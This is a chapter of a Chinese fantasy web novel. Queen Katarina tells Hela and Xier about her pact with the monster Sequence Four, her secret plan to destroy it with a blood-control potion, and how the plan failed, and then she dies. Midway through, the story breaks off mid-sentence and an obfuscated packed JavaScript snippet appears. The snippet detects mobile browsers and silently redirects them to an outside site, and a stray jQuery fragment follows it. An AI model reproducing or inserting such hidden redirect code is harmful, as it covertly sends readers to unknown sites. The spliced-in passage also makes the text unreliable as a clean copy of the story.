海拉对晞尔超出常规的“知识范畴”早已见怪不怪，卡特琳娜还没有完全适应，她禁不住把头往前伸、眯起眼睛仔细打量晞尔。


    “就是你吓跑了序号四？”


    晞尔真心认为赶走序号四是朱诺和安娜的功劳，不过一时半会跟卡特琳娜也说不清楚，她敷衍道：


    “算是吧……”


    “序号四究竟是什么？一个能连通神谕机的强大怪物？……您为什么会找祂帮忙？”


    “是他找我帮忙。”卡特琳娜尊严感极强地纠正道，“在昨日之前，我确实相信他就是神谕机，毕竟……”


    “我曾亲眼看到祂由神谕机的枝干分化成型。”


    序号四竟然来源于神谕机？晞尔难以掩饰自己的震惊，尽管来的路上她想过这种可能，可……神谕机怎么会分化出这种邪恶强大、不人不兽的怪物呢？


    “祂用来自于神谕机的力量向我展示了兰克的未来，”卡特琳娜说，“那是连我都没见过的残酷。”


    褐色的焦土上遍地衣着怪异的死尸、摇曳的枯草占领田野农田，河流里流淌着黑水、天空降下的拳头大的冰雹……


    ……绝望画面再次浮现在卡特琳娜脑海中，成为她至今仍挥之不去的梦魇。


    “序号四说，灾厄来源于改变，神谕机的力量正被抽取削弱，只有停止改变才能拯救五国大陆。”


    晞尔询问卡特琳娜为什么会听信一个怪物的荒谬言论，卡特琳娜回答说，因为她也曾感受过神谕机的力量，任何感受过神谕机力量的人都会相信，因为序号四和神谕机力量本为同源。


    一旁的海拉也表示赞同。


    “序号四认为祂的所做作为是在拯救兰克、拯救世界？”


    “是。”卡特琳娜苦笑，“不仅是祂，据序号四自己说，为了维护大陆的稳定，不仅兰克，其余四台神谕机也分化出一部分力量。”


    “祂称祂们为‘规则的使者’。”


    “规则的使者”？


    晞尔回味着这个名字……其余四台神谕机也有力量分化，这么说，除了序号四，还有四个自称“规则使者”的“人形怪物”出现在大地上？


    “一个就够难对付了，序号四这样的怪物，竟然还有五个？”晞尔想着便感到棘手。


    “不对！等等……为什么我要对付祂们？为安娜取得信物也不一定就要打倒五个拥有神明力量的使者吧……”


    晞尔擅长安慰自己，东退一步西退一步的话，似乎也没那么困难……更何况未来的事情，现在多想只会徒增苦恼！


    她强行把飘远的思路扯回来，问：


    “卡特琳娜前辈，您与序号四结成同盟，就是为了阻拦热衷变革的海拉被神谕机选中吗？这未免矛盾吧……序号四用瘟疫威胁海拉，如果祂真的在斯沃奇播撒瘟疫，那灾厄不还是会发生？”


    “那只是祂威胁的手段。”


    “即使没有你们帮忙，即使海拉不放弃，我也不会允许祂创造瘟疫。”


    晞尔想不通，她觉得女王似乎有些说大话：


    “您能阻止？怎么阻止？”


    “没有你们的捣乱，我原本是可以的。”


    卡特琳娜闭上眼睛，她终于能说出一切。


    那时序号四刚从神谕机分化不久，形态和力量尚不稳定。祂向与自己意志相同的女王请求协助，借助活人的生命力为自己创造锚点来稳定身体。


    提供生命力的活人越多，每个人被吸取的力量则越少。


    为此，卡特琳娜答应了他的请求，为了能让序号四更好的链接这片土地的力量，她费心从兰克各地向因地福斯的东尼镇运送活人。


    最初，她选择的都是各地的罪犯，但没想到序号四在其中培植了自己的信徒，祂贪得无厌，在自己计划范围外强行拐卖了为数不少的平民。


    这之后，力量稳定后的序号四仍不知满足，竟开始狩猎拥有特殊能力的强者，掠夺他们的能力和生命。


    魔方先生就死于祂膨胀的贪欲


    她错误地放大了序号四的“神性”，不过，卡特琳娜也并非毫无准备。


    东尼镇的作为锚点的活人中，平民占一成，罪犯占九成。这九成罪犯在交给序号四前都服下了含有卡特琳娜稀释血液的控制药剂——琉璃血素。


    琉璃血素的制作配方由大海盗弗朗西斯提供，作为报酬，她赠予了弗朗西斯巴克斯之血，并与其达成合作。


    巴克斯之血是安诺福斯家族宝库中最珍贵的宝物，因为它能反噬使用者并引来天罚，所以静静躺了数百年都无人敢用。她确信以弗朗西斯必定会被巴克斯之血吞噬，因此才将其作为交换。


    为了琉璃血素确保药效，卡特琳娜将配方中的植物种在自己眼皮子底下，其中用量最大的琉璃苣更是爬满窗台，形成奇妙的景观。


    琉璃血素中的血液经过稀释、浓度极低，服下琉璃血素的罪犯不会有任何特殊反应。一旦他们的生命力被同一个个体吸取，吸取者体内的浓度便会达标。


    这种药剂的神奇之处在于，控制者可以无视距离和层次差距，通过毁灭自身的方式引爆被控制者！


    药物作用、木偶师的力量加成、加之献祭生命的代价使琉璃血素功效出奇强悍……


    按照序号四的吸收速度，只要再有三天，矿井中的那些生命便会被祂吸食殆尽，届时她只要自裁，祂将必死无疑……


    纵观兰克历史，卸任国王的前任国王最长也不过能有又一个月的生命，生死于她早已无足轻重，在序号四阻止海拉后，她原本就计划拖序号四共同赴死！


    那时，抹去序号四这个混沌强大存在的同时，兰克将在更保守传统的国王治下发展，这能为大地对抗灾厄争取时间。


    另一方面，海拉没有与神谕机接触，自然不会受神谕机“诅咒”，她的生命将不会与劳瑞绑定，她追寻神谕机的奥秘也不会像自己和鲁斯一样付出磨损灵魂的代价。


    一切落定后，卡特琳娜将会把能说出口的一切告知她，她的智慧也许能为兰克找到破局之法。


    这本是一个很好的计划，虽然不完美，虽然有牺牲，但这已经是卡特琳娜在重重受限中想到最好的办法了……


    至少她自己是这么认为的。


    可惜计划总有搅局者。


    序号四本能拦住海拉的！对抗神谕机会消耗祂的力量，她本能趁祂虚弱以命换命的！


    偏偏关键时刻，冒出来一个加纳家的孩子，而这个孩子古怪非常，竟用幻术便将序号四吓破了胆……


    东尼镇那边，序号四与服下琉璃血素的平民们的联系


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346605|173247||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被完全斩断，此时，即使她死，尚未完全吸收琉璃血素的序号四也不会被引爆……


    卡特琳娜的心血付之一炬。


    ……


    “一切都错了。”


    卡特琳娜说完便疲惫地闭上眼睛，海拉叹了口气，微微摇头，很多事情她也是今天才知道，对于卡特琳娜阿姨来说，隐瞒一切不止出于神谕机的限制，也是为了设计序号四。


    即使现在，她仍然不赞成卡特琳娜阿姨的计划。


    大地的灾厄不应通过献祭生灵消解拖延，对抗灾厄的责任也不应仅由国王承担。未来不会因“少数人的牺牲”和“绝大多数人的无知”改变，越是强大的力量越需要更宽广的信念！


    作为“预言家”，她比谁都明白命运的意义。


    “预言家”是最为罕见的能力之一，“预言家”终生都无法触摸“引导”等级，只能在“遵循”和“解释”打转。她们还毫无近身战斗能力，也无法用精神力干扰他人、


    即便如此，“预言”本身仍是最强的能力，这是她们从不落败的保障。


    “海拉”卡特琳娜唤着她的名字，“你看的还不够远。”


    “我知道你从不依赖能力，甚至如非未来闪现在眼前，你也不屑于窥探……但孩子，我还是要提醒你，神谕机的力量已经发生混乱和分化，这世界的规则和命运在缓缓地偏移破碎……你所见未必为真，我所言也不全为虚。”


    “这是我最后的忠告。”


    “我能说的、该说的，已言无不尽。”


    卡特琳娜望着海拉，就像见到了年少时最好的朋友鲁斯。当她斩下兄长头颅时，世人都畏惧她、说她残暴，台下有人发抖、有人指指点点，只有鲁斯在哈哈大笑，笑得站得不起来。


    “卡特琳娜，你是不是想这么干很久了？哈哈”


    “卡特琳娜，你哥哥的头比你的要圆很多！哈哈……”


    她通红的双眼险些氤氲、她笔直的身体差点抖动，她坚硬的心差点就要裂缝。


    “卡特琳娜，不许流泪，不许颤抖，不许后悔！”鲁斯说。


    “笑！跟我一起！你以为你有的选吗？你只能向前！”


    “不要在乎他们的眼神，畏惧是对的、误解是对的，你原本无须向任何人解释！”


    “哈哈哈哈，卡特琳娜，永远不要后悔。”


    ……


    “卡特琳娜阿姨？您又走神了……”


    “卡特琳娜阿姨？”


    连续呼喊两声，卡特琳娜仍没有回应的意思，海拉跪在她身旁，牵起她的手，她还有呼吸，越来越弱，越来越慢，但是她怎么摇晃都没有苏醒的意思，直到身体彻底不再起伏。


    晞尔看着海拉神情恍惚，接着一滴泪划过她的面庞。


    午后的秋风还夹带着盛夏的温度，它没有吹动厚重的窗帘，只吹得窗台上的枯枝窸窣作响。


    琉璃苣花期已过，喜热畏寒，干枯得极快，却仍能扒紧墙壁，等待着下一年春天复苏，也可能等不到。


    也许明年春天，侍从们会拔掉这些枯草，重新种下新的种子……或许是蔬菜水果也说不定？


    毕竟王宫已经换了主人。


    “愿您安息。”海拉将卡特琳娜的手贴近自己的脸。


    “愿您安息。”